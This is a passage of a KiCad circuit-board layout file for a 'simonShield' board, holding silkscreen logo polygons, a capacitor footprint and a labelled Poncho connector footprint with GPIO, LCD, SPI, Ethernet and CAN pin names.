-0.741238) (xy 2.391558 -0.742208)\n      (xy 2.270831 -0.703329) (xy 2.228325 -0.558669) (xy 2.226623 -0.494805) (xy 2.206189 -0.31957)\n      (xy 2.109798 -0.254982) (xy 1.97922 -0.247402) (xy 1.803985 -0.267837) (xy 1.739397 -0.364227)\n      (xy 1.731818 -0.494805) (xy 1.705898 -0.675896) (xy 1.609459 -0.739655) (xy 1.566883 -0.742208)\n      (xy 1.482553 -0.727599) (xy 1.433074 -0.660988) (xy 1.40933 -0.508193) (xy 1.402206 -0.235036)\n      (xy 1.401948 -0.123701) (xy 1.405843 0.192533) (xy 1.423606 0.378081) (xy 1.464351 0.467122)\n      (xy 1.537193 0.493835) (xy 1.566883 0.494805) (xy 1.680559 0.462518) (xy 1.726426 0.336472)\n      (xy 1.731818 0.206169) (xy 1.745609 0.012245) (xy 1.815564 -0.067294) (xy 1.97922 -0.082467)\n      (xy 2.145441 -0.066377) (xy 2.213617 0.015237) (xy 2.226623 0.206169) (xy 2.245073 0.405103)\n      (xy 2.317099 0.48537) (xy 2.391558 0.494805) (xy 2.475887 0.480197) (xy 2.525367 0.413586)\n      (xy 2.549111 0.260791) (xy 2.556234 -0.012366) (xy 2.556493 -0.123701) (xy 2.556493 3.603955)\n      (xy 2.33361 3.976986) (xy 2.102692 4.324132) (xy 1.912952 4.562103) (xy 1.781691 4.667512)\n      (xy 1.660102 4.654002) (xy 1.438445 4.580892) (xy 1.163465 4.463746) (xy 1.154545 4.459546)\n      (xy 1.154545 0.36149) (xy 1.110706 0.268405) (xy 0.956623 0.266159) (xy 0.938776 0.269422)\n      (xy 0.717011 0.243945) (xy 0.523128 0.11531) (xy 0.417755 -0.07121) (xy 0.412337 -0.123701)\n      (xy 0.484303 -0.318602) (xy 0.658393 -0.472009) (xy 0.871896 -0.536691) (xy 0.949632 -0.528355)\n      (xy 1.105982 -0.515384) (xy 1.154279 -0.597467) (xy 1.154545 -0.609566) (xy 1.114247 -0.69528)\n      (xy 0.970303 -0.735064) (xy 0.783441 -0.742208) (xy 0.429195 -0.687347) (xy 0.198088 -0.523118)\n      (xy 0.090717 -0.250044) (xy 0.082467 -0.123701) (xy 0.144642 0.188869) (xy 0.330769 0.392787)\n      (xy 0.640252 0.487526) (xy 0.783441 0.494805) (xy 1.022962 0.480515) (xy 1.134243 0.429291)\n      (xy 1.154545 0.36149) (xy 1.154545 4.459546) (xy 1.148315 4.456614) (xy 0.592041 4.256938)\n      (xy 0.061238 4.207886) (xy -0.164935 4.249843) (xy -0.164935 -0.123701) (xy -0.168831 -0.439936)\n      (xy -0.186594 -0.625484) (xy -0.227339 -0.714524) (xy -0.300181 -0.741238) (xy -0.329871 -0.742208)\n      (xy -0.435349 -0.716231) (xy -0.483875 -0.609894) (xy -0.495586 -0.391721) (xy -0.496366 -0.041234)\n      (xy -0.706429 -0.391721) (xy -0.874005 -0.625569) (xy -1.029731 -0.729733) (xy -1.117986 -0.742208)\n      (xy -1.220495 -0.733937) (xy -1.280586 -0.685976) (xy -1.309571 -0.563603) (xy -1.318762 -0.332094)\n      (xy -1.319481 -0.123701) (xy -1.315585 0.192533) (xy -1.297822 0.378081) (xy -1.257077 0.467122)\n      (xy -1.184235 0.493835) (xy -1.154546 0.494805) (xy -1.049068 0.468829) (xy -1.000541 0.362492)\n      (xy -0.988831 0.144318) (xy -0.98805 -0.206169) (xy -0.777988 0.144318) (xy -0.610412 0.378167)\n      (xy -0.454685 0.48233) (xy -0.36643 0.494805) (xy -0.263922 0.486535) (xy -0.203831 0.438574)\n      (xy -0.174846 0.3162) (xy -0.165655 0.084692) (xy -0.164935 -0.123701) (xy -0.164935 4.249843)\n      (xy -0.48241 4.308738) (xy -0.783442 4.420415) (xy -1.059466 4.535832) (xy -1.285963 4.626797)\n      (xy -1.401948 4.669513) (xy -1.518876 4.625399) (xy -1.566884 4.584033) (xy -1.566884 -0.123701)\n      (xy -1.631934 -0.436938) (xy -1.821147 -0.644378) (xy -2.12562 -0.737671) (xy -2.226624 -0.742208)\n      (xy -2.560743 -0.681223) (xy -2.782012 -0.503835) (xy -2.881525 -0.218392) (xy -2.886364 -0.123701)\n      (xy -2.821314 0.189536) (xy -2.6321 0.396975) (xy -2.327627 0.490269) (xy -2.226624 0.494805)\n      (xy -1.892653 0.436492) (xy -1.731819 0.32987) (xy -1.597945 0.09203) (xy -1.566884 -0.123701)\n      (xy -1.566884 4.584033) (xy -1.717176 4.454536) (xy -1.98582 4.166799) (xy -2.061689 4.078924)\n      (xy -2.369861 3.70727) (xy -2.632201 3.363429) (xy -2.870341 3.013116) (xy -2.968832 2.849614)\n      (xy -2.968832 -0.32987) (xy -3.007485 -0.54598) (xy -3.140146 -0.67528) (xy -3.391869 -0.734039)\n      (xy -3.603832 -0.742208) (xy -4.04091 -0.742208) (xy -4.04091 -0.123701) (xy -4.037014 0.192533)\n      (xy -4.019251 0.378081) (xy -3.978506 0.467122) (xy -3.905664 0.493835) (xy -3.875974 0.494805)\n      (xy -3.746639 0.446485) (xy -3.711039 0.288637) (xy -3.687673 0.146227) (xy -3.584731 0.090232)\n      (xy -3.438897 0.082468) (xy -3.16065 0.034793) (xy -3.008068 -0.114765) (xy -2.968832 -0.32987)\n      (xy -2.968832 2.849614) (xy -3.105916 2.622046) (xy -3.360558 2.155935) (xy -3.6559 1.580499)\n      (xy -3.724805 1.443182) (xy -3.927446 1.040996) (xy -4.107468 0.68891) (xy -4.250627 0.414385)\n      (xy -4.342678 0.24488) (xy -4.366512 0.206169) (xy -4.479713 -0.061738) (xy -4.470402 -0.368299)\n      (xy -4.39208 -0.562072) (xy -4.211754 -0.794239) (xy -3.970771 -1.027175) (xy -3.729883 -1.205582)\n      (xy -3.628572 -1.257014) (xy -3.515586 -1.328258) (xy -3.31072 -1.481511) (xy -3.047204 -1.691308)\n      (xy -2.861153 -1.845142) (xy -2.478394 -2.151727) (xy -2.09396 -2.434151) (xy -1.735885 -2.674156)\n      (xy -1.432202 -2.853482) (xy -1.210945 -2.953871) (xy -1.135923 -2.968831) (xy -0.992755 -2.911987)\n      (xy -0.868796 -2.807085) (xy -0.798823 -2.718089) (xy -0.768465 -2.621372) (xy -0.779148 -2.476306)\n      (xy -0.832302 -2.242261) (xy -0.897248 -1.997411) (xy -1.002077 -1.614541) (xy -1.0637 -1.342913)\n      (xy -1.062894 -1.163551) (xy -0.980436 -1.05748) (xy -0.797105 -1.005726) (xy -0.493678 -0.989314)\n      (xy -0.050932 -0.989267) (xy 0.123701 -0.98961) (xy 0.616616 -0.993152) (xy 0.963601 -1.004879)\n      (xy 1.183529 -1.026446) (xy 1.295275 -1.059505) (xy 1.31948 -1.094352) (xy 1.298521 -1.22034)\n      (xy 1.243133 -1.457326) (xy 1.164548 -1.757819) (xy 1.150407 -1.809213) (xy 1.043088 -2.255847)\n      (xy 1.008894 -2.569631) (xy 1.048676 -2.765972) (xy 1.163285 -2.860279) (xy 1.208992 -2.870512)\n      (xy 1.420553 -2.83991) (xy 1.739874 -2.711189) (xy 2.149801 -2.493929) (xy 2.633175 -2.197713)\n      (xy 3.172841 -1.832122) (xy 3.525487 -1.576813) (xy 3.929546 -1.272303) (xy 4.214754 -1.04349)\n      (xy 4.398878 -0.873667) (xy 4.499689 -0.746128) (xy 4.534955 -0.644167) (xy 4.535714 -0.627021)\n      (xy 4.535714 -0.627021)) (layer F.SilkS) (width 0.1))\n    (fp_poly (pts (xy 1.023542 -3.736319) (xy 0.895402 -3.389445) (xy 0.679417 -3.11223) (xy 0.563302 -2.982356)\n      (xy 0.508034 -2.869698) (xy 0.506066 -2.720981) (xy 0.549854 -2.48293) (xy 0.574294 -2.370022)\n      (xy 0.658312 -1.973188) (xy 0.69611 -1.709422) (xy 0.675383 -1.550382) (xy 0.583822 -1.467723)\n      (xy 0.409122 -1.433104) (xy 0.16144 -1.419187) (xy -0.12355 -1.415195) (xy -0.339882 -1.428263)\n      (xy -0.43645 -1.453549) (xy -0.490308 -1.618268) (xy -0.466441 -1.923684) (xy -0.365224 -2.365222)\n      (xy -0.360015 -2.384058) (xy -0.225225 -2.868872) (xy -0.488808 -3.104404) (xy -0.714353 -3.402585)\n      (xy -0.808424 -3.746824) (xy -0.77552 -4.096523) (xy -0.620138 -4.411085) (xy -0.346777 -4.649915)\n      (xy -0.31571 -4.666738) (xy 0.033719 -4.763905) (xy 0.380075 -4.71573) (xy 0.68714 -4.538441)\n      (xy 0.918691 -4.248265) (xy 0.989692 -4.081895) (xy 1.023542 -3.736319) (xy 1.023542 -3.736319)) (layer F.SilkS) (width 0.1))\n    (fp_poly (pts (xy -3.320079 -0.321578) (xy -3.381169 -0.206169) (xy -3.537606 -0.087441) (xy -3.656944 -0.12265)\n      (xy -3.710414 -0.301007) (xy -3.711039 -0.32987) (xy -3.666881 -0.523821) (xy -3.553583 -0.57585)\n      (xy -3.399915 -0.47517) (xy -3.381169 -0.453571) (xy -3.320079 -0.321578) (xy -3.320079 -0.321578)) (layer F.SilkS) (width 0.1))\n    (fp_poly (pts (xy -1.911824 -0.1467) (xy -1.935194 -0.006732) (xy -2.006645 0.114199) (xy -2.128505 0.265484)\n      (xy -2.225472 0.329848) (xy -2.226624 0.32987) (xy -2.322643 0.267542) (xy -2.444552 0.117317)\n      (xy -2.446603 0.114199) (xy -2.537406 -0.05684) (xy -2.52656 -0.197017) (xy -2.465958 -0.318756)\n      (xy -2.343482 -0.473895) (xy -2.226624 -0.536039) (xy -2.106037 -0.47051) (xy -1.987289 -0.318756)\n      (xy -1.911824 -0.1467) (xy -1.911824 -0.1467)) (layer F.SilkS) (width 0.1))\n    (fp_poly (pts (xy 3.778435 -0.1467) (xy 3.755065 -0.006732) (xy 3.683615 0.114199) (xy 3.561755 0.265484)\n      (xy 3.464788 0.329848) (xy 3.463636 0.32987) (xy 3.367616 0.267542) (xy 3.245708 0.117317)\n      (xy 3.243657 0.114199) (xy 3.152854 -0.05684) (xy 3.163699 -0.197017) (xy 3.224301 -0.318756)\n      (xy 3.346778 -0.473895) (xy 3.463636 -0.536039) (xy 3.584223 -0.47051) (xy 3.702971 -0.318756)\n      (xy 3.778435 -0.1467) (xy 3.778435 -0.1467)) (layer F.SilkS) (width 0.1))\n  )\n\n  (module simonShield:Logo_OSHWA (layer F.Cu) (tedit 560D8B85) (tstamp 59574326)\n    (at 101.5 82.5)\n    (fp_text reference G101 (at 0 4.2418) (layer F.SilkS) hide\n      (effects (font (size 0.7112 0.4572) (thickness 0.1143)))\n    )\n    (fp_text value Logo_OSHWA (at 0 -4.2418) (layer F.SilkS) hide\n      (effects (font (size 0.36322 0.36322) (thickness 0.07112)))\n    )\n    (fp_poly (pts (xy -2.42316 3.59156) (xy -2.38252 3.57124) (xy -2.28854 3.51282) (xy -2.15392 3.42392)\n      (xy -1.99644 3.31978) (xy -1.83896 3.21056) (xy -1.70942 3.1242) (xy -1.61798 3.06578)\n      (xy -1.57988 3.04546) (xy -1.55956 3.05054) (xy -1.48336 3.08864) (xy -1.37414 3.14452)\n      (xy -1.31064 3.17754) (xy -1.21158 3.22072) (xy -1.16078 3.23088) (xy -1.15316 3.21564)\n      (xy -1.11506 3.13944) (xy -1.05918 3.00736) (xy -0.98298 2.83464) (xy -0.89662 2.63144)\n      (xy -0.80264 2.413) (xy -0.7112 2.18948) (xy -0.6223 1.97612) (xy -0.54356 1.78562)\n      (xy -0.48006 1.63068) (xy -0.43942 1.52146) (xy -0.42418 1.47574) (xy -0.42926 1.46558)\n      (xy -0.48006 1.41732) (xy -0.56642 1.35128) (xy -0.75692 1.19634) (xy -0.94234 0.96266)\n      (xy -1.05664 0.6985) (xy -1.09474 0.40386) (xy -1.06172 0.13208) (xy -0.95504 -0.12954)\n      (xy -0.77216 -0.36576) (xy -0.55118 -0.54102) (xy -0.2921 -0.65278) (xy 0 -0.68834)\n      (xy 0.2794 -0.65786) (xy 0.5461 -0.55118) (xy 0.78232 -0.37084) (xy 0.88138 -0.25654)\n      (xy 1.01854 -0.01778) (xy 1.09728 0.23876) (xy 1.1049 0.30226) (xy 1.09474 0.5842)\n      (xy 1.01092 0.85344) (xy 0.8636 1.09474) (xy 0.65786 1.29032) (xy 0.62992 1.31064)\n      (xy 0.53594 1.38176) (xy 0.47244 1.43002) (xy 0.42164 1.47066) (xy 0.77978 2.33172)\n      (xy 0.83566 2.46888) (xy 0.93472 2.7051) (xy 1.02108 2.9083) (xy 1.08966 3.06832)\n      (xy 1.13792 3.17754) (xy 1.15824 3.22072) (xy 1.16078 3.22326) (xy 1.19126 3.22834)\n      (xy 1.2573 3.20294) (xy 1.37668 3.14452) (xy 1.45796 3.10388) (xy 1.5494 3.0607)\n      (xy 1.59004 3.04546) (xy 1.6256 3.06324) (xy 1.71196 3.12166) (xy 1.8415 3.20548)\n      (xy 1.9939 3.30962) (xy 2.14122 3.41122) (xy 2.27584 3.50012) (xy 2.3749 3.56108)\n      (xy 2.42316 3.58902) (xy 2.43078 3.58902) (xy 2.47142 3.56362) (xy 2.55016 3.50012)\n      (xy 2.667 3.38836) (xy 2.8321 3.2258) (xy 2.8575 3.2004) (xy 2.99466 3.0607)\n      (xy 3.10642 2.94386) (xy 3.18008 2.86258) (xy 3.20548 2.82448) (xy 3.20548 2.82448)\n      (xy 3.18262 2.77622) (xy 3.11912 2.6797) (xy 3.03022 2.54254) (xy 2.921 2.38252)\n      (xy 2.63652 1.9685) (xy 2.794 1.57734) (xy 2.84226 1.45796) (xy 2.90322 1.31318)\n      (xy 2.9464 1.20904) (xy 2.9718 1.16332) (xy 3.01244 1.14808) (xy 3.12166 1.12268)\n      (xy 3.2766 1.08966) (xy 3.45948 1.05664) (xy 3.63728 1.02362) (xy 3.7973 0.99314)\n      (xy 3.9116 0.97028) (xy 3.9624 0.96012) (xy 3.9751 0.9525) (xy 3.98526 0.9271)\n      (xy 3.99288 0.87376) (xy 3.99542 0.77724) (xy 3.99796 0.62484) (xy 3.99796 0.40386)\n      (xy 3.99796 0.381) (xy 3.99542 0.17018) (xy 3.99288 0.00254) (xy 3.9878 -0.10668)\n      (xy 3.98018 -0.14986) (xy 3.98018 -0.14986) (xy 3.92938 -0.16256) (xy 3.81762 -0.18542)\n      (xy 3.6576 -0.21844) (xy 3.4671 -0.254) (xy 3.45694 -0.25654) (xy 3.26644 -0.2921)\n      (xy 3.10896 -0.32512) (xy 2.9972 -0.35052) (xy 2.95148 -0.36576) (xy 2.94132 -0.37846)\n      (xy 2.90322 -0.45212) (xy 2.84734 -0.56896) (xy 2.78638 -0.71374) (xy 2.72288 -0.86106)\n      (xy 2.66954 -0.99568) (xy 2.63398 -1.09474) (xy 2.62382 -1.14046) (xy 2.62382 -1.14046)\n      (xy 2.65176 -1.18618) (xy 2.7178 -1.28524) (xy 2.80924 -1.41986) (xy 2.921 -1.58242)\n      (xy 2.92862 -1.59512) (xy 3.03784 -1.75514) (xy 3.12674 -1.88976) (xy 3.18516 -1.98628)\n      (xy 3.20548 -2.02946) (xy 3.20548 -2.032) (xy 3.16992 -2.08026) (xy 3.08864 -2.16916)\n      (xy 2.9718 -2.29108) (xy 2.8321 -2.43332) (xy 2.78638 -2.4765) (xy 2.63144 -2.6289)\n      (xy 2.52476 -2.72796) (xy 2.45618 -2.7813) (xy 2.42316 -2.794) (xy 2.42316 -2.79146)\n      (xy 2.3749 -2.76352) (xy 2.2733 -2.69748) (xy 2.13614 -2.6035) (xy 1.97358 -2.49428)\n      (xy 1.96342 -2.48666) (xy 1.8034 -2.37744) (xy 1.67132 -2.28854) (xy 1.5748 -2.22504)\n      (xy 1.53416 -2.19964) (xy 1.52654 -2.19964) (xy 1.46304 -2.21996) (xy 1.34874 -2.25806)\n      (xy 1.20904 -2.31394) (xy 1.06172 -2.37236) (xy 0.9271 -2.42824) (xy 0.8255 -2.4765)\n      (xy 0.77724 -2.5019) (xy 0.77724 -2.50444) (xy 0.75946 -2.56286) (xy 0.73152 -2.68224)\n      (xy 0.6985 -2.84734) (xy 0.6604 -3.04292) (xy 0.65532 -3.0734) (xy 0.61976 -3.2639)\n      (xy 0.58928 -3.42138) (xy 0.56642 -3.5306) (xy 0.55372 -3.57632) (xy 0.52832 -3.5814)\n      (xy 0.43434 -3.58902) (xy 0.2921 -3.59156) (xy 0.11938 -3.5941) (xy -0.06096 -3.59156)\n      (xy -0.23622 -3.58902) (xy -0.38862 -3.58394) (xy -0.4953 -3.57632) (xy -0.54102 -3.56616)\n      (xy -0.54356 -3.56362) (xy -0.5588 -3.5052) (xy -0.5842 -3.38582) (xy -0.61976 -3.22072)\n      (xy -0.65786 -3.0226) (xy -0.66294 -2.98958) (xy -0.6985 -2.79908) (xy -0.73152 -2.64414)\n      (xy -0.75438 -2.53492) (xy -0.76708 -2.49428) (xy -0.78232 -2.48412) (xy -0.86106 -2.4511)\n      (xy -0.98806 -2.39776) (xy -1.14808 -2.33426) (xy -1.51384 -2.1844) (xy -1.96088 -2.49428)\n      (xy -2.00406 -2.52222) (xy -2.16408 -2.63144) (xy -2.2987 -2.72034) (xy -2.39014 -2.77876)\n      (xy -2.42824 -2.80162) (xy -2.43078 -2.79908) (xy -2.4765 -2.76098) (xy -2.5654 -2.67716)\n      (xy -2.68732 -2.55778) (xy -2.82702 -2.41808) (xy -2.93116 -2.31394) (xy -3.05562 -2.18694)\n      (xy -3.13436 -2.10312) (xy -3.17754 -2.04724) (xy -3.19278 -2.01422) (xy -3.1877 -1.9939)\n      (xy -3.15976 -1.94818) (xy -3.09372 -1.84912) (xy -3.00228 -1.71196) (xy -2.89306 -1.55448)\n      (xy -2.80162 -1.41986) (xy -2.7051 -1.27) (xy -2.6416 -1.16332) (xy -2.61874 -1.10998)\n      (xy -2.62382 -1.08712) (xy -2.65684 -1.00076) (xy -2.71018 -0.86614) (xy -2.77622 -0.70866)\n      (xy -2.9337 -0.35306) (xy -3.16738 -0.30988) (xy -3.30708 -0.28194) (xy -3.5052 -0.24384)\n      (xy -3.69316 -0.20828) (xy -3.9878 -0.14986) (xy -3.99796 0.93218) (xy -3.95224 0.9525)\n      (xy -3.90906 0.9652) (xy -3.79984 0.98806) (xy -3.6449 1.01854) (xy -3.45948 1.0541)\n      (xy -3.30454 1.08458) (xy -3.14452 1.11252) (xy -3.03276 1.13538) (xy -2.98196 1.14554)\n      (xy -2.96926 1.16332) (xy -2.92862 1.23952) (xy -2.87274 1.36144) (xy -2.81178 1.50876)\n      (xy -2.74828 1.65862) (xy -2.6924 1.79832) (xy -2.65176 1.905) (xy -2.63906 1.96088)\n      (xy -2.65938 2.00406) (xy -2.72034 2.0955) (xy -2.8067 2.22758) (xy -2.91338 2.38506)\n      (xy -3.0226 2.54254) (xy -3.1115 2.67716) (xy -3.175 2.77368) (xy -3.2004 2.81686)\n      (xy -3.1877 2.84734) (xy -3.12674 2.92354) (xy -3.00736 3.04546) (xy -2.8321 3.22072)\n      (xy -2.80162 3.24866) (xy -2.66192 3.38328) (xy -2.54254 3.4925) (xy -2.46126 3.56616)\n      (xy -2.42316 3.59156)) (layer F.SilkS) (width 0.00254))\n  )\n\n  (module simonShield:C_Disc_D3_P2.5 (layer F.Cu) (tedit 578F6ADD) (tstamp 5957431B)\n    (at 89.255 53.508 90)\n    (descr \"Capacitor 3mm Disc, Pitch 2.5mm\")\n    (tags Capacitor)\n    (path /57781B52/57781D10)\n    (fp_text reference C1 (at 1.27 2.794 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value C_100nF (at 1.25 2.5 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -0.9 -1.5) (end 3.4 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 3.4 -1.5) (end 3.4 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 3.4 1.5) (end -0.9 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -0.9 1.5) (end -0.9 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -0.25 -1.25) (end 2.75 -1.25) (layer F.SilkS) (width 0.15))\n    (fp_line (start 2.75 1.25) (end -0.25 1.25) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole rect (at 0 0 90) (size 1.3 1.3) (drill 0.8) (layers *.Cu *.Mask F.SilkS)\n      (net 32 VCC))\n    (pad 2 thru_hole circle (at 2.5 0 90) (size 1.3 1.3) (drill 0.8001) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n    (model ${KIPRJMOD}/simonShield.3dshapes/C_Disc_D3_P2.5.wrl\n      (at (xyz 0.049213 0 0))\n      (scale (xyz 1 1 1))\n      (rotate (xyz 0 0 0))\n    )\n  )\n\n  (module simonShield:Conn_Poncho_SinBorde (layer F.Cu) (tedit 5797F70F) (tstamp 5957426D)\n    (at 143.23 50.968)\n    (tags \"CONN Poncho\")\n    (path /57781B52/57781CEF)\n    (fp_text reference XA1 (at 1.27 -3.175) (layer F.SilkS)\n      (effects (font (size 0.8 0.8) (thickness 0.12)))\n    )\n    (fp_text value Conn_Poncho2P_2x_20x2 (at -1.905 51.181) (layer F.SilkS) hide\n      (effects (font (size 1.016 1.016) (thickness 0.2032)))\n    )\n    (fp_text user GPIO8 (at -65.913 48.26) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user GPIO7 (at -65.913 45.847) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user GPIO5 (at -65.913 43.18) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user GPIO3 (at -65.913 40.767) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user GPIO1 (at -65.913 38.1) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user LCD1 (at -65.913 35.56) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user LCD2 (at -65.913 33.02) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user LCD3 (at -65.024 30.48) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user LCD_RS (at -64.008 27.94) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user LCD4 (at -65.278 25.654) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user SCK (at -66.04 22.733) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user MISO (at -65.913 20.32) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user TXD1 (at -65.786 17.907) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user TXD0 (at -65.786 15.24) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user MDIO (at -65.786 12.7) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user CRS (at -65.532 10.287) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user MDC (at -66.04 7.62) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user TX_EN (at -64.77 5.207) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user RXD1 (at -65.913 2.667) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user +5V (at -65.532 0) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user GND (at -74.168 48.006) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user GND (at -74.168 45.72) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user GPIO6 (at -74.295 43.18) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user GPIO4 (at -74.295 40.64) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user GPIO2 (at -74.295 38.1) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user GPIO0 (at -74.295 35.56) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user GND (at -74.168 33.02) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user GND (at -74.168 30.48) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user LCD_EN (at -74.168 27.94) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user MOSI (at -74.168 25.273) (layer F.SilkS)\n      (effects (font (size 1 0.7) (thickness 0.17)))\n    )\n    (fp_text user GND (at -74.168 22.86) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user GND (at -74.168 20.32) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user R_CLK (at -74.168 17.78) (layer F.SilkS)\n      (effects (font (size 0.9 0.7) (thickness 0.175)))\n    )\n    (fp_text user GND (at -74.168 15.24) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user GND (at -74.168 12.7) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user GND (at -74.168 7.62) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user RXD0 (at -74.041 10.16) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user GND (at -74.168 5.08) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user GND (at -74.168 2.54) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user +3.3V (at -74.041 0) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user GND (at 5.461 48.26) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user GND (at 5.461 45.72) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user T_F1 (at 5.461 43.18) (layer F.SilkS)\n      (effects (font (size 0.9 0.9) (thickness 0.18)))\n    )\n    (fp_text user T_C2 (at 5.461 40.64) (layer F.SilkS)\n      (effects (font (size 0.9 0.9) (thickness 0.18)))\n    )\n    (fp_text user GND (at 5.461 38.1) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user GND (at 5.334 35.56) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user GND (at 5.461 33.02) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user GND (at 5.461 30.48) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user GND (at 5.461 27.94) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user GND (at 5.461 25.4) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user GND (at 5.461 22.86) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user GNDA (at 5.461 20.32) (layer F.SilkS)\n      (effects (font (size 0.76 0.76) (thickness 0.19)))\n    )\n    (fp_text user GNDA (at 5.461 17.78) (layer F.SilkS)\n      (effects (font (size 0.76 0.76) (thickness 0.19)))\n    )\n    (fp_text user GNDA (at 5.461 15.24) (layer F.SilkS)\n      (effects (font (size 0.76 0.76) (thickness 0.19)))\n    )\n    (fp_text user GNDA (at 5.461 12.7) (layer F.SilkS)\n      (effects (font (size 0.76 0.76) (thickness 0.19)))\n    )\n    (fp_text user GNDA (at 5.461 10.16) (layer F.SilkS)\n      (effects (font (size 0.76 0.76) (thickness 0.19)))\n    )\n    (fp_text user GNDA (at 5.461 7.62) (layer F.SilkS)\n      (effects (font (size 0.76 0.76) (thickness 0.19)))\n    )\n    (fp_text user WAKEUP (at 5.461 5.334) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user GND (at 5.461 3.048) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user +5V (at 5.334 0) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user T_C0 (at -2.286 48.133) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user T_F2 (at -2.413 45.72) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user T_F3 (at -2.413 43.18) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user T_F0 (at -2.413 40.64) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user T_C1 (at -2.286 38.1) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user CAN_TD (at -2.921 35.687) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user CAN_RD (at -2.921 33.02) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n   